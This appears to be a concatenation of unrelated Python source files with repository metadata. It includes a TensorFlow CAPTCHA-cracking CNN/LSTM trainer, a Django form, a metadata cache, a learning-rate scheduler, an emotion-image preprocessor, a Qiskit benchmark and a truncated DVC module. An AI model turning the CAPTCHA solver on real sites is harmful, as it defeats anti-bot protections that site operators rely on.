tf.nn.bias_add(tf.nn.conv2d(x, w_c1, strides=[1, 1, 1, 1], padding='SAME'), b_c1) # conv1,_ = batchnorm(conv1) conv1 = tf.nn.relu(conv1) conv1 = tf.nn.dropout(conv1, keep_prob) w_c2 = tf.get_variable( name='W2', shape=[3, 3, 32, 32], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c2 = tf.Variable(b_alpha*tf.random_normal([32])) conv2 = tf.nn.bias_add(tf.nn.conv2d(conv1, w_c2, strides=[1, 1, 1, 1], padding='SAME'), b_c2) # conv2,_ = batchnorm(conv2) conv2 = tf.nn.relu(conv2) conv2 = tf.nn.dropout(conv2, keep_prob) conv2 = tf.nn.max_pool(conv2, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') ''' ---2---''' w_c3 = tf.get_variable( name='W3', shape=[3, 3, 32, 64], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c3 = tf.Variable(b_alpha*tf.random_normal([64])) conv3 = tf.nn.bias_add(tf.nn.conv2d(conv2, w_c3, strides=[1, 1, 1, 1], padding='SAME'), b_c3) conv3 = tf.nn.relu(conv3) conv3 = tf.nn.dropout(conv3, keep_prob) w_c4 = tf.get_variable( name='W4', shape=[3, 3, 64, 64], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c4 = tf.Variable(b_alpha*tf.random_normal([64])) conv4 = tf.nn.bias_add(tf.nn.conv2d(conv3, w_c4, strides=[1, 1, 1, 1], padding='SAME'), b_c4) conv4 = tf.nn.relu(conv4) conv4 = tf.nn.dropout(conv4, keep_prob) conv4 = tf.nn.max_pool(conv4, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') ''' ---3---''' w_c5 = tf.get_variable( name='W5', shape=[3, 3, 64, 128], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c5 = tf.Variable(b_alpha*tf.random_normal([128])) conv5 = tf.nn.bias_add(tf.nn.conv2d(conv4, w_c5, strides=[1, 1, 1, 1], padding='SAME'), b_c5) conv5 = tf.nn.relu(conv5) conv5 = tf.nn.dropout(conv5, keep_prob) w_c6 = tf.get_variable( name='W6', shape=[3, 3, 128, 128], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c6 = tf.Variable(b_alpha*tf.random_normal([128])) conv6 = tf.nn.bias_add(tf.nn.conv2d(conv5, w_c6, strides=[1, 1, 1, 1], padding='SAME'), b_c6) conv6 = tf.nn.relu(conv6) conv6 = tf.nn.dropout(conv6, keep_prob) w_c7 = tf.get_variable( name='W7', shape=[3, 3, 128, 128], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c7 = tf.Variable(b_alpha*tf.random_normal([128])) conv7 = tf.nn.bias_add(tf.nn.conv2d(conv6, w_c7, strides=[1, 1, 1, 1], padding='SAME'), b_c7) conv7 = tf.nn.relu(conv7) conv7 = tf.nn.dropout(conv7, keep_prob) conv7 = tf.nn.max_pool(conv7, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') ''' ---4---''' w_c8 = tf.get_variable( name='W8', shape=[3, 3, 128, 256], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c8 = tf.Variable(b_alpha*tf.random_normal([256])) conv8 = tf.nn.bias_add(tf.nn.conv2d(conv7, w_c8, strides=[1, 1, 1, 1], padding='SAME'), b_c8) conv8 = tf.nn.relu(conv8) conv8 = tf.nn.dropout(conv8, keep_prob) w_c9 = tf.get_variable( name='W9', shape=[3, 3, 256, 256], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c9 = tf.Variable(b_alpha*tf.random_normal([256])) conv9 = tf.nn.bias_add(tf.nn.conv2d(conv8, w_c9, strides=[1, 1, 1, 1], padding='SAME'), b_c9) conv9 = tf.nn.relu(conv9) conv9 = tf.nn.dropout(conv9, keep_prob) w_c10 = tf.get_variable( name='W10', shape=[3, 3, 256, 256], initializer=tf.contrib.layers.xavier_initializer_conv2d()) b_c10 = tf.Variable(b_alpha*tf.random_normal([256])) conv10 = tf.nn.bias_add(tf.nn.conv2d(conv9, w_c10, strides=[1, 1, 1, 1], padding='SAME'), b_c10) conv10 = tf.nn.relu(conv10) conv10 = tf.nn.dropout(conv10, keep_prob) conv10 = tf.nn.max_pool(conv10, ksize=[1, 3, 3, 1], strides=[1, 2, 2, 1], padding='SAME') ''' ---5---''' # Fully connected layer w_d = tf.Variable(w_alpha*tf.random_normal([5*32*256, 4096])) b_d = tf.Variable(b_alpha*tf.random_normal([4096])) dense = tf.reshape(conv10, [-1, w_d.get_shape().as_list()[0]]) dense = tf.nn.relu(tf.add(tf.matmul(dense, w_d), b_d)) dense = tf.nn.dropout(dense, keep_prob_fc) return dense #一张图片是28*28,FNN是一次性把数据输入到网络,RNN把它分成块 chunk_size = 64 chunk_n = 64 rnn_size = 256 n_output_layer = MAX_CAPTCHA*CHAR_SET_LEN # 输出层 # 定义待训练的神经网络 def recurrent_neural_network(w_alpha=0.01, b_alpha=0.1): data = crack_captcha_cnn() data = tf.reshape(data, [-1, chunk_n, chunk_size]) data = tf.transpose(data, [1,0,2]) data = tf.reshape(data, [-1, chunk_size]) data = tf.split(data,chunk_n) # 只用RNN layer = {'w_':w_alpha*tf.Variable(tf.random_normal([rnn_size, n_output_layer])), 'b_':b_alpha*tf.Variable(tf.random_normal([n_output_layer]))} lstm_cell = tf.contrib.rnn.BasicLSTMCell(rnn_size) outputs, status = tf.contrib.rnn.static_rnn(lstm_cell, data, dtype=tf.float32) # outputs = tf.transpose(outputs, [1,0,2]) # outputs = tf.reshape(outputs, [-1, chunk_n*rnn_size]) ouput = tf.add(tf.matmul(outputs[-1], layer['w_']), layer['b_']) return ouput # 训练 def main(_): train_file_path = os.path.join(FLAGS.data_dir, "img_train.tfrecords") test_file_path = os.path.join(FLAGS.data_dir, "img_test.tfrecords") model_path = os.path.join(FLAGS.model_dir, "cnn_jisuanshi_model") train_image_filename_queue = tf.train.string_input_producer(tf.train.match_filenames_once(train_file_path)) train_images, train_labels = read_image_batch(train_image_filename_queue, batch_size) test_image_filename_queue = tf.train.string_input_producer(tf.train.match_filenames_once(test_file_path)) test_images, test_labels = read_image_batch(test_image_filename_queue, batch_size) output = recurrent_neural_network() loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels = Y, logits = output)) optimizer = tf.train.AdamOptimizer(learning_rate=0.0001).minimize(loss) predict = tf.reshape(output, [-1, MAX_CAPTCHA, CHAR_SET_LEN]) max_idx_p = tf.argmax(predict, 2) max_idx_l = tf.argmax(tf.reshape(Y, [-1, MAX_CAPTCHA, CHAR_SET_LEN]), 2) correct_pred = tf.equal(max_idx_p, max_idx_l) accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) saver = tf.train.Saver() sess = tf.InteractiveSession() tf.local_variables_initializer().run() tf.global_variables_initializer().run() #sess = tf.Session() #saver = tf.train.Saver(tf.trainable_variables()) #sess.run(tf.initialize_all_variables()) # start queue runner coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(sess=sess, coord=coord) # saver.restore(sess, 'model_cnn_jisuanshi/model_net-100') for j in range(2000): image_number = 9000 for i in range(image_number): # imgs, labels = get_next_batch(i) # keep_prob: 0.75 images, labels = sess.run([train_images, train_labels]) _, loss_, acc_ = sess.run([optimizer, loss, accuracy], feed_dict={X: images, Y: labels, keep_prob: 0.8, keep_prob_fc: 0.8}) print (i, loss_, acc_) if i%1000==0 and i!=0: saver.save(sess, model_path, global_step=i, write_meta_graph=False) if i%1==0: # img, label = get_next_batch( int((image_number*0.9+i%(image_number*0.1))/batch_size) ) images, labels = sess.run([test_images, test_labels]) ls, acc = sess.run([loss, accuracy], feed_dict={X: images, Y: labels, keep_prob: 1., keep_prob_fc: 1.}) print(i, ls, acc) if acc > 0.95: break # stop queue runner coord.request_stop() coord.join(threads) sess.close() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--data_dir', type=str, default='',help='input data path') parser.add_argument('--model_dir', type=str, default='',help='output model path') FLAGS, _ = parser.parse_known_args() tf.app.run(main=main)
53287ca13c22599139bdaa837069e8b398154f5d
8f3ceff01367c4550b2dd71f65af70c28bf8eed1
/GenericViewCRUD/products/forms.py
4efdd9fa21f8e4f628acf149cff5aff3da40856b
[]
no_license
anupjungkarki/ClassBasedVIEW-and-GenericVIEW-CRUD
53110379420fca90cceec58c221e51f6523392a0
ed99e50fab8b531d9a2167b11eb4eee8cc439351
refs/heads/master
2023-02-13T16:32:33.930218
2021-01-07T09:22:44
2021-01-07T09:22:44
327,561,635
0
0
null
null
null
null
UTF-8
Python
false
false
198
py
from django import forms from .models import Product class ProductForm(forms.ModelForm): class Meta: model = Product fields = ['name', 'slug', 'description', 'image', 'price']
9785f44eadbf85ca4d7a7c30a7ebc249dffeaa30
f7aa321f384c6a052e0a88e2adaea9bea2c5f7a6
/geophys_utils/dataset_metadata_cache/_dataset_metadata_cache.py
ba9a6bd7f3010369dfd6fff1306bd62c7d158947
[ "Apache-2.0" ]
permissive
alex-ip/geophys_utils
4af3637b6d47b818106ddfb0a11b3230992dcf71
bcbf4205b7b06d88a26adfe0c4da036d54425751
refs/heads/master
2023-07-05T20:22:31.889192
2023-05-09T07:03:22
2023-05-09T07:03:22
226,753,773
2
0
Apache-2.0
2019-12-09T00:37:35
2019-12-09T00:37:35
null
UTF-8
Python
false
false
5,203
py
''' Created on 19 Jul. 2018 @author: Alex Ip ''' import abc import logging import os import yaml logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) # Initial logging level for this module settings = yaml.safe_load(open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'dataset_metadata_cache_settings.yml'))) class Distribution(object): ''' Distribution class definition ''' def __init__(self, url, protocol ): ''' Distribution class Constructor ''' self.url = url self.protocol = protocol class Dataset(object): ''' Dataset class definition ''' def __init__(self, dataset_title, ga_survey_id, longitude_min, longitude_max, latitude_min, latitude_max, convex_hull_polygon, keyword_list, distribution_list, point_count, metadata_uuid=None, start_date=None, end_date=None ): ''' Dataset class Constructor ''' self.dataset_title = dataset_title self.ga_survey_id = ga_survey_id self.longitude_min = longitude_min self.longitude_max = longitude_max self.latitude_min = latitude_min self.latitude_max = latitude_max self.convex_hull_polygon = convex_hull_polygon self.metadata_uuid = metadata_uuid self.keyword_list = keyword_list self.distribution_list = distribution_list self.point_count = point_count self.start_date = start_date self.end_date = end_date class DatasetMetadataCache(object): ''' DatasetMetadataCache class definition ''' # Tuple containing field names for results of search_dataset_distributions function dataset_distribution_search_fields = ('ga_survey_id', 'dataset_title', 'distribution_url', 'convex_hull_polygon', 'longitude_min', 'longitude_max', 'latitude_min', 'latitude_max', 'point_count', 'start_date', 'end_date', 'metadata_uuid' ) _db_engine = None @abc.abstractmethod def __init__(self, debug): ''' DatasetMetadataCache class Constructor @parameter debug: Boolean flag indicating whether debug output is required ''' # Initialise and set debug property self._debug = None self.debug = debug @abc.abstractmethod def add_dataset(self, dataset): ''' Function to insert or update dataset record ''' return @abc.abstractmethod def add_survey(self, ga_survey_id, survey_name=None ): ''' Function to insert survey if necessary ''' return @abc.abstractmethod def add_keywords(self, dataset_id, keyword_list): ''' Function to insert new keywords ''' return @abc.abstractmethod def add_distributions(self, dataset_id, distribution_list): ''' Function to insert new distributions ''' return @abc.abstractmethod def search_dataset_distributions(self, keyword_list, protocol, ll_ur_coords=None ): ''' Function to return list of dicts containing metadata for all datasets with specified keywords and bounding box Note that keywords are searched exclusively, i.e. using "and", not "or" ''' return @property def db_engine(self): return type(self)._db_engine @property def debug(self): return self._debug @debug.setter def debug(self, debug_value): if self._debug != debug_value or self._debug is None: self._debug = debug_value if self._debug: logger.setLevel(logging.DEBUG) logging.getLogger(self.__module__).setLevel(logging.DEBUG) else: logger.setLevel(logging.INFO) logging.getLogger(self.__module__).setLevel(logging.INFO) logger.debug('Logger {} set to level {}'.format(logger.name, logger.level)) logging.getLogger(self.__module__).debug('Logger {} set to level {}'.format(self.__module__, logger.level))
c46b8a0bb1661133bd998bdce146a51f5648e1d8
0b1e404a165c960677d07015bc26aac0569cf84a
/src/combustion/optim/onecycle.py
f502b82cca9113b6b2d9e7a5b5c867bf289a9729
[ "Apache-2.0" ]
permissive
johndpope/combustion
d3ec349cd7be086f55b4e3deebd571c97842e1ed
c3f91e62a10a873cfeeae8c675b0683bc5158818
refs/heads/master
2023-03-01T14:34:42.149415
2021-02-07T17:55:58
2021-02-13T17:17:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,753
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from typing import Optional from torch.optim import Optimizer from torch.optim.lr_scheduler import OneCycleLR class SuperConvergenceLR(OneCycleLR): r"""Sets the learning rate of each parameter group according to the 1cycle learning rate policy. The 1cycle policy anneals the learning rate from an initial learning rate to some maximum learning rate and then from that maximum learning rate to some minimum learning rate much lower than the initial learning rate. This policy was initially described in the paper `Super-Convergence: Very Fast Training of Neural Networks Using Large Learning Rates`_. .. note: This implementation is a refinement of :class:`torch.optim.OneCycleLR` that splits the learning rate decay into two pieces, one for returning to initial learning rate and another for decaying below the initial learning rate. The 1cycle learning rate policy changes the learning rate after every batch. `step` should be called after a batch has been used for training. This scheduler is not chainable. Note also that the total number of steps in the cycle can be determined in one of two ways (listed in order of precedence): #. A value for total_steps is explicitly provided. #. A number of epochs (epochs) and a number of steps per epoch (steps_per_epoch) are provided. In this case, the number of total steps is inferred by total_steps = epochs * steps_per_epoch You must either provide a value for total_steps or provide a value for both epochs and steps_per_epoch. Args: optimizer (Optimizer): Wrapped optimizer. max_lr (float or list): Upper learning rate boundaries in the cycle for each parameter group. total_steps (int): The total number of steps in the cycle. Note that if a value is not provided here, then it must be inferred by providing a value for epochs and steps_per_epoch. Default: None epochs (int): The number of epochs to train for. This is used along with steps_per_epoch in order to infer the total number of steps in the cycle if a value for total_steps is not provided. Default: None steps_per_epoch (int): The number of steps per epoch to train for. This is used along with epochs in order to infer the total number of steps in the cycle if a value for total_steps is not provided. Default: None pct_warmup (float): The percentage of the cycle (in number of steps) spent increasing the learning rate. Default: 0.3 pct_cooldown (float): The percentage of the cycle (in number of steps) spent decreasing the learning rate to the initial learning rate. Default: 0.3 anneal_strategy (str): {'cos', 'linear'} Specifies the annealing strategy: "cos" for cosine annealing, "linear" for linear annealing. Default: 'cos' cycle_momentum (bool): If ``True``, momentum is cycled inversely to learning rate between 'base_momentum' and 'max_momentum'. Default: True base_momentum (float or list): Lower momentum boundaries in the cycle for each parameter group. Note that momentum is cycled inversely to learning rate; at the peak of a cycle, momentum is 'base_momentum' and learning rate is 'max_lr'. Default: 0.85 max_momentum (float or list): Upper momentum boundaries in the cycle for each parameter group. Functionally, it defines the cycle amplitude (max_momentum - base_momentum). Note that momentum is cycled inversely to learning rate; at the start of a cycle, momentum is 'max_momentum' and learning rate is 'base_lr' Default: 0.95 div_factor (float): Determines the initial learning rate via initial_lr = max_lr/div_factor Default: 25 final_div_factor (float): Determines the minimum learning rate via min_lr = initial_lr/final_div_factor Default: 1e4 last_epoch (int): The index of the last batch. This parameter is used when resuming a training job. Since `step()` should be invoked after each batch instead of after each epoch, this number represents the total number of *batches* computed, not the total number of epochs computed. When last_epoch=-1, the schedule is started from the beginning. Default: -1 verbose (bool): If ``True``, prints a message to stdout for each update. Default: ``False``. .. _Super-Convergence\: Very Fast Training of Neural Networks Using Large Learning Rates: https://arxiv.org/abs/1708.07120 """ def __init__( self, optimizer: Optimizer, max_lr: float, total_steps: Optional[int] = None, epochs: Optional[int] = None, steps_per_epoch: Optional[int] = None, pct_warmup: float = 0.3, pct_cooldown: float = 0.3, anneal_strategy: str = "cos", cycle_momentum: bool = True, base_momentum: float = 0.85, max_momentum: float = 0.95, div_factor: float = 25.0, final_div_factor: float = 1e4, last_epoch: int = -1, verbose: bool = False, ): super().__init__( optimizer, max_lr, total_steps, epochs, steps_per_epoch, pct_warmup, anneal_strategy, cycle_momentum, base_momentum, max_momentum, div_factor, final_div_factor, last_epoch, verbose, ) if pct_warmup + pct_cooldown > 1.0: raise ValueError("Expected `pct_warmup` + `pct_cooldown` <= 1.0, " f"found {pct_warmup + pct_cooldown}") self.step_size_down = float(pct_cooldown * self.total_steps) - 1 self.step_size_final = float(self.total_steps - self.step_size_up - self.step_size_down) - 1 def __repr__(self): s = f"{self.__class__.__name__}(steps_up={self.step_size_up}" s += f", steps_down={self.step_size_down}" s += f", steps_final={self.step_size_final}" s += ")" return s def get_lr(self): if not self._get_lr_called_within_step: warnings.warn( "To get the last learning rate computed by the scheduler, " "please use `get_last_lr()`.", UserWarning ) lrs = [] step_num = self.last_epoch if step_num > self.total_steps: raise ValueError( "Tried to step {} times. The specified number of total steps is {}".format( step_num + 1, self.total_steps ) ) for group in self.optimizer.param_groups: # increasing lr phase if step_num <= self.step_size_up: computed_lr = self.anneal_func(group["initial_lr"], group["max_lr"], step_num / self.step_size_up) if self.cycle_momentum: computed_momentum = self.anneal_func( group["max_momentum"], group["base_momentum"], step_num / self.step_size_up ) # decreasing lr phase elif step_num <= self.step_size_up + self.step_size_down: down_step_num = step_num - self.step_size_up computed_lr = self.anneal_func( group["max_lr"], group["initial_lr"], down_step_num / self.step_size_down ) if self.cycle_momentum: computed_momentum = self.anneal_func( group["base_momentum"], group["max_momentum"], down_step_num / self.step_size_down ) # final decreasing lr phase else: final_step_num = step_num - (self.step_size_up + self.step_size_down) computed_lr = self.anneal_func( group["initial_lr"], group["min_lr"], final_step_num / self.step_size_final ) if self.cycle_momentum: computed_momentum = group["base_momentum"] lrs.append(computed_lr) if self.cycle_momentum: if self.use_beta1: _, beta2 = group["betas"] group["betas"] = (computed_momentum, beta2) else: group["momentum"] = computed_momentum return lrs
7b2a4ddc6b7320391e621149122948f371ce83e6
6e8f2e28479566dbaa338300b2d61f784ff83f97
/.history/code/preprocess_20210419145511.py
677f86d7c80961ac295d19e0eb7be0aa3ad43e69
[]
no_license
eeng5/CV-final-project
55a7d736f75602858233ebc380c4e1d67ab2b866
580e28819560b86f6974959efb1d31ef138198fc
refs/heads/main
2023-04-09T21:28:21.531293
2021-04-21T19:57:22
2021-04-21T19:57:22
352,703,734
0
0
null
null
null
null
UTF-8
Python
false
false
7,674
py
import os import random import numpy as np from PIL import Image import tensorflow as tf import hyperparameters as hp class Datasets(): """ Class for containing the training and test sets as well as other useful data-related information. Contains the functions for preprocessing. """ def __init__(self, data_path, task, aug): self.data_path = data_path self.emotions = ['angry', 'happy', 'disgust', 'sad', 'neutral', 'surprise', 'fear'] self.emotion_dict = self.createEmotionDict() self.task = task self.aug = aug if self.aug == '1': self.createSimpleData() else: self.createComplexData() # Dictionaries for (label index) <--> (class name) self.idx_to_class = {} self.class_to_idx = {} # For storing list of classes self.classes = [""] * hp.num_classes # Setup data generators self.train_data = self.get_data( os.path.join(self.data_path, "train/"), False) self.test_data = self.get_data( os.path.join(self.data_path, "test/"), False) def cleanTestDirs(self,): for e in self.emotions: pathy = self.data_path+'test/'+e pics = 1 for f in Path(pathy).glob('*.jpg'): if (pics <= 100): pics+=1 else: try: #f.unlink() os.remove(f) except OSError as e: print("Error: %s : %s" % (f, e.strerror)) def cleanTrainDirs(self,): for e in self.emotions: pathy = self.data_path+'train/'+e for f in Path(pathy).glob('*.jpg'): try: #f.unlink() os.remove(f) except OSError as e: print("Error: %s : %s" % (f, e.strerror)) def cleanAll(self,): self.cleanTestDirs() self.cleanTrainDirs() def createPixelArray(self, arr): arr = list(map(int, arr.split())) array = np.array(arr, dtype=np.uint8) array = array.reshape((48, 48)) return array def equalize_hist(self, img): img = cv2.equalizeHist(img) return img def showImages(self, imgs): _, axs = plt.subplots(1, len(imgs), figsize=(20, 20)) axs = axs.flatten() for img, ax in zip(imgs, axs): ax.imshow(img,cmap=plt.get_cmap('gray')) plt.show() def augmentIMG(self, img, task): imgs = [img] img1 = self.equalize_hist(img) imgs.append(img1) img2 = cv2.bilateralFilter(img1, d=9, sigmaColor=75, sigmaSpace=75) imgs.append(img2) if task == 3: kernel = np.array([[-1.0, -1.0, -1.0], [-1.0, 9, -1.0], [-1.0, -1.0, -1.0]]) img3 = cv2.filter2D(img2,-1,kernel) imgs.append(img3) img4 = self.equalize_hist(img3) imgs.append(img4) img5 = cv2.bilateralFilter(img4, d=9, sigmaColor=100, sigmaSpace=100) imgs.append(img5) img6 = cv2.flip(img, 1) # flip horizontally imgs.append(img6) return imgs def saveIMG(self, arr, num, folderLoc): im = Image.fromarray(arr) filename = folderLoc + "image_"+ num+".jpg" im.save(filename) def createTrain(self, task): path1 = self.data_path+"train.csv" df = pd.read_csv(path1) # CHANGE ME base_filename = data_path+"train/" # CHANGE ME for index, row in df.iterrows(): px = row['pixels'] emot = int(row['emotion']) emot_loc = self.emotion_dict[emot] filename = base_filename + emot_loc img = self.createPixelArray(px) img_arr = self.augmentIMG(img, task) idx = 0 for i in img_arr: num = str(index) + "_" + str(idx) idx +=1 self.saveIMG(i, num, filename) def createTest(self, task): path1 = data_path +"icml_face_data.csv" df = pd.read_csv(path1) # CHANGE ME base_filename = data_path + "test/" # CHANGE ME for index, row in df.iterrows(): if (row[' Usage'] == "PublicTest"): px = row[' pixels'] emot = int(row['emotion']) emot_loc = self.emotion_dict[emot] filename = base_filename + emot_loc img = self.createPixelArray(px) img_arr = self.augmentIMG(img, task) idx = 0 for i in img_arr: num = str(index) + "_" + str(idx) idx +=1 saveIMG(i, num, filename) def createEmotionDict(self,): emotionDict = {} emotionDict[0]="angry/" emotionDict[1]="disgust/" emotionDict[2]="fear/" emotionDict[3]="happy/" emotionDict[4]="sad/" emotionDict[5]="surprise/" emotionDict[6] = "neutral/" return emotionDict def createSimpleData(self,): self.cleanAll() print("Cleaning done") emot_dict = self.createEmotionDict() self.createTrain(1) print("Training Data Generation done") self.createTest(1) print("Testing Data Generation done") def createComplexData(self,): self.cleanAll() emot_dict = self.createEmotionDict() self.createTrain(emot_dict, 3) self.createTest(emot_dict, 3) def preprocess_fn(self, img): """ Preprocess function for ImageDataGenerator. """ img = img / 255. return img def get_data(self, path, shuffle): """ Returns an image data generator which can be iterated through for images and corresponding class labels. Arguments: path - Filepath of the data being imported, such as "../data/train" or "../data/test" shuffle - Boolean value indicating whether the data should be randomly shuffled. Returns: An iterable image-batch generator """ data_gen = tf.keras.preprocessing.image.ImageDataGenerator(preprocessing_function=self.preprocess_fn) # VGG must take images of size 224x224 img_size = hp.img_size classes_for_flow = None # Make sure all data generators are aligned in label indices if bool(self.idx_to_class): classes_for_flow = self.classes # Form image data generator from directory structure data_gen = data_gen.flow_from_directory( path, target_size=(img_size, img_size), class_mode='sparse', batch_size=hp.batch_size, shuffle=shuffle, classes=classes_for_flow) # Setup the dictionaries if not already done if not bool(self.idx_to_class): unordered_classes = [] for dir_name in os.listdir(path): if os.path.isdir(os.path.join(path, dir_name)): unordered_classes.append(dir_name) for img_class in unordered_classes: self.idx_to_class[data_gen.class_indices[img_class]] = img_class self.class_to_idx[img_class] = int(data_gen.class_indices[img_class]) self.classes[int(data_gen.class_indices[img_class])] = img_class return data_gen
2701c269f7ccc8bd889ed6aafc49b1be6127a794
09e57dd1374713f06b70d7b37a580130d9bbab0d
/data/p3BR/R1/benchmark/startQiskit_Class305.py
5f8ebb32204cb0db962ae68cdf9fa47b28ced1cb
[ "BSD-3-Clause" ]
permissive
UCLA-SEAL/QDiff
ad53650034897abb5941e74539e3aee8edb600ab
d968cbc47fe926b7f88b4adf10490f1edd6f8819
refs/heads/main
2023-08-05T04:52:24.961998
2021-09-19T02:56:16
2021-09-19T02:56:16
405,159,939
2
0
null
null
null
null
UTF-8
Python
false
false
5,321
py
# qubit number=3 # total number=57 import numpy as np from qiskit import QuantumCircuit, execute, Aer, QuantumRegister, ClassicalRegister, transpile, BasicAer, IBMQ from qiskit.visualization import plot_histogram from typing import * from pprint import pprint from math import log2 from collections import Counter from qiskit.test.mock import FakeVigo, FakeYorktown kernel = 'circuit/bernstein' def bitwise_xor(s: str, t: str) -> str: length = len(s) res = [] for i in range(length): res.append(str(int(s[i]) ^ int(t[i]))) return ''.join(res[::-1]) def bitwise_dot(s: str, t: str) -> str: length = len(s) res = 0 for i in range(length): res += int(s[i]) * int(t[i]) return str(res % 2) def build_oracle(n: int, f: Callable[[str], str]) -> QuantumCircuit: # implement the oracle O_f # NOTE: use multi_control_toffoli_gate ('noancilla' mode) # https://qiskit.org/documentation/_modules/qiskit/aqua/circuits/gates/multi_control_toffoli_gate.html # https://quantumcomputing.stackexchange.com/questions/3943/how-do-you-implement-the-toffoli-gate-using-only-single-qubit-and-cnot-gates # https://quantumcomputing.stackexchange.com/questions/2177/how-can-i-implement-an-n-bit-toffoli-gate controls = QuantumRegister(n, "ofc") target = QuantumRegister(1, "oft") oracle = QuantumCircuit(controls, target, name="Of") for i in range(2 ** n): rep = np.binary_repr(i, n) if f(rep) == "1": for j in range(n): if rep[j] == "0": oracle.x(controls[j]) oracle.mct(controls, target[0], None, mode='noancilla') for j in range(n): if rep[j] == "0": oracle.x(controls[j]) # oracle.barrier() # oracle.draw('mpl', filename=(kernel + '-oracle.png')) return oracle def build_circuit(n: int, f: Callable[[str], str]) -> QuantumCircuit: # implement the Bernstein-Vazirani circuit zero = np.binary_repr(0, n) b = f(zero) # initial n + 1 bits input_qubit = QuantumRegister(n+1, "qc") classicals = ClassicalRegister(n, "qm") prog = QuantumCircuit(input_qubit, classicals) # inverse last one (can be omitted if using O_f^\pm) prog.x(input_qubit[n]) # circuit begin prog.h(input_qubit[1]) # number=1 prog.rx(-0.09738937226128368,input_qubit[2]) # number=2 prog.h(input_qubit[1]) # number=33 prog.cz(input_qubit[2],input_qubit[1]) # number=34 prog.h(input_qubit[1]) # number=35 prog.h(input_qubit[1]) # number=3 # apply H to get superposition for i in range(n): prog.h(input_qubit[i]) prog.h(input_qubit[n]) prog.barrier() # apply oracle O_f oracle = build_oracle(n, f) prog.append( oracle.to_gate(), [input_qubit[i] for i in range(n)] + [input_qubit[n]]) # apply H back (QFT on Z_2^n) for i in range(n): prog.h(input_qubit[i]) prog.barrier() # measure return prog def get_statevector(prog: QuantumCircuit) -> Any: state_backend = Aer.get_backend('statevector_simulator') statevec = execute(prog, state_backend).result() quantum_state = statevec.get_statevector() qubits = round(log2(len(quantum_state))) quantum_state = { "|" + np.binary_repr(i, qubits) + ">": quantum_state[i] for i in range(2 ** qubits) } return quantum_state def evaluate(backend_str: str, prog: QuantumCircuit, shots: int, b: str) -> Any: # Q: which backend should we use? # get state vector quantum_state = get_statevector(prog) # get simulate results # provider = IBMQ.load_account() # backend = provider.get_backend(backend_str) # qobj = compile(prog, backend, shots) # job = backend.run(qobj) # job.result() backend = Aer.get_backend(backend_str) # transpile/schedule -> assemble -> backend.run results = execute(prog, backend, shots=shots).result() counts = results.get_counts() a = Counter(counts).most_common(1)[0][0][::-1] return { "measurements": counts, # "state": statevec, "quantum_state": quantum_state, "a": a, "b": b } def bernstein_test_1(rep: str): """011 . x + 1""" a = "011" b = "1" return bitwise_xor(bitwise_dot(a, rep), b) def bernstein_test_2(rep: str): """000 . x + 0""" a = "000" b = "0" return bitwise_xor(bitwise_dot(a, rep), b) def bernstein_test_3(rep: str): """111 . x + 1""" a = "111" b = "1" return bitwise_xor(bitwise_dot(a, rep), b) if __name__ == "__main__": n = 2 a = "11" b = "1" f = lambda rep: \ bitwise_xor(bitwise_dot(a, rep), b) prog = build_circuit(n, f) sample_shot =4000 writefile = open("../data/startQiskit_Class305.csv", "w") # prog.draw('mpl', filename=(kernel + '.png')) backend = BasicAer.get_backend('statevector_simulator') circuit1 = transpile(prog, FakeYorktown()) circuit1.h(qubit=2) circuit1.x(qubit=3) info = execute(circuit1,backend=backend, shots=sample_shot).result().get_counts() print(info, file=writefile) print("results end", file=writefile) print(circuit1.depth(), file=writefile) print(circuit1, file=writefile) writefile.close()
c2eecbcd52e98f859f31d19e378dfac34fbea24e
14cfafbe45523a053251b340a22c8992e4a3a088
/dvc/remote/local.py
1b8d79483d6df989637b930beede98680b51cf45
[ "Apache-2.0" ]
permissive
VetoPlayer/dvc
df737529cb7081ce1a732bf0a369482eace59bda
50ea36e740da734bed70a805f2fab6c11f44b042
refs/heads/master
2020-03-22T14:35:57.970650
2018-07-07T22:13:21
2018-07-07T22:13:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
13,883
py
import os import uuid import json import shutil import filecmp from dvc.system import System from dvc.remote.base import RemoteBase, STATUS_MAP from dvc.state import State from dvc.logger import Logger from dvc.utils import remove, move, copyfile, file_md5, to_chunks from dvc.config import Config from dvc.exceptions import DvcException from dvc.progress import progress from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor class RemoteLOCAL(RemoteBase): scheme = '' REGEX = r'^(?P<path>(/+|.:\\+).*)$' PARAM_MD5 = State.PARAM_MD5 PARAM_RELPATH = State.PARAM_RELPATH CACHE_TYPES = ['reflink', 'hardlink', 'symlink', 'copy'] CACHE_TYPE_MAP = { 'copy': shutil.copyfile, 'symlink': System.symlink, 'hardlink': System.hardlink, 'reflink': System.reflink, } def __init__(self, project, config): self.project = project self.state = self.project.state self.link_state = project.link_state storagepath = config.get(Config.SECTION_AWS_STORAGEPATH, None) self.cache_dir = config.get(Config.SECTION_REMOTE_URL, storagepath) types = config.get(Config.SECTION_CACHE_TYPE, None) if types: if isinstance(types, str): types = [t.strip() for t in types.split(',')] self.cache_types = types else: self.cache_types = self.CACHE_TYPES if self.cache_dir != None and not os.path.exists(self.cache_dir): os.mkdir(self.cache_dir) @property def prefix(self): return self.cache_dir def all(self): clist = [] for entry in os.listdir(self.cache_dir): subdir = os.path.join(self.cache_dir, entry) if not os.path.isdir(subdir): continue for cache in os.listdir(subdir): path = os.path.join(subdir, cache) 